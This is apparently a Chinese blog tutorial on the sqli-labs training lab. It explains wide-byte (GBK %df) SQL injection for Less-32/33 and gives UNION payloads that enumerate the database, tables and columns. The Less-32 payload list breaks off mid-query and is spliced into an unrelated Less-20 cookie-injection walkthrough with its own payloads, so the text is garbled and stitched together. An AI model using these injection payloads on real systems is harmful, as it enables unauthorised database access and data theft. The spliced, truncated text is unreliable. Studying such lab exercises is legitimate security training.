Sqli-labs Less32-Less33 宽字节注入

宽字节注入

什么是宽字节?

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

  • 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
  • 英文默认占一个字节,中文占两个字节

宽字节注入原理

sql注入很关键的一步就是让引号闭合和跳出引号,如果无法跳出引号,那么你输入的内容就永远在引号里,你输出的内容就永远都是字符串

php里面有个转义符\对输入的敏感信息和特殊字符进行转义

就是的单引号' 被转义后变成了\'那么我们输入的内容被转义后就之被当作了一个字符串,无法实现包裹字符串的作用了,所以宽字节注入就是让转义失去转义的作用

\转义符通过编码为%5c,找到另一半让他们组成一个新的字符%df%5c就行了

%df与反斜杠的 URL 编码 %5C 闭合,从而构成 GBK 国标码中的汉字“連”,使得用于转义的反斜杠被我们“吃掉”了。

Less_32

sqli-labs - 随笔分类

image-20240719143802349

可以看到虽然输入?id=1'的时候页面没有报错,但是可以看到我们的单引号是被转义掉了的

在使用单引号的时候使用宽字节注入即可

?id=1%df' order by 4--+
?id=-1%df' union select 1,database(),3--+
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
注意此处数据库名要用十六进制 (HEX) 编码替代,避免单引号的使用。
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
?id=-1%df' union select 1,group
### sqli-labs less20 实验教程 #### 了解目标环境 sqli-labs 是一个用于学习和实践 SQL 注入技术的平台。Less-20 关卡专注于通过 `Cookie` 进行 SQL 注入攻击[^3]。 #### 准备工作 确保已经安装并配置好 PHP 和 MySQL 环境,并且成功部署了 sqli-labs 平台。访问 Less-20 页面,观察其 URL 结构以及如何处理请求参数。 #### 测试注入点 尝试修改浏览器发送给服务器的 HTTP 请求头中的 `Cookie` 字段来测试是否存在漏洞。具体来说,在原始 `Cookie` 值后面附加恶意负载以探测数据库结构或提取敏感数据。 例如,可以通过篡改 `uname` 的值来进行联合查询(UNION SELECT),从而获取当前使用的数据库名称: ```http GET /sqli/Less-20/ HTTP/1.1 Host: localhost ... Cookie: uname=admin' UNION ALL SELECT NULL,database(),NULL-- ``` 上述 Payload 利用了闭合单引号 `'` 来结束预期输入,并紧接着执行新的 SQL 片段;两个连续破折线 `--` 表示注释掉后续部分以防报错中断整个语句。 #### 提升技巧:绕过简单防护措施 当面对某些基本防御机制时——比如自动转义特殊字符函数如 mysql_real_escape_string() ,可以考虑采用宽字节编码等方式构造有效载荷实现突破[^2]。 对于本关而言,则是利用 Base64 编码后的字符串作为用户名传递给应用程序,以此规避潜在过滤规则的影响。实际操作过程中需注意调整编码方式匹配后台解析逻辑。 #### 获取更多细节信息 一旦确认存在可被利用之处后,便能进一步挖掘其他有用情报,像枚举出 users 表内的字段名列表那样: ```sql Cookie: uname=<base64_encoded_payload> ``` 其中 `<base64_encoded_payload>` 应替换为经过适当转换得到的结果,形似如下所示: ```plaintext admin') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'# ``` 这会返回 user 表中所有的列名作为一个单一字符串输出到页面上供分析人员查看。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值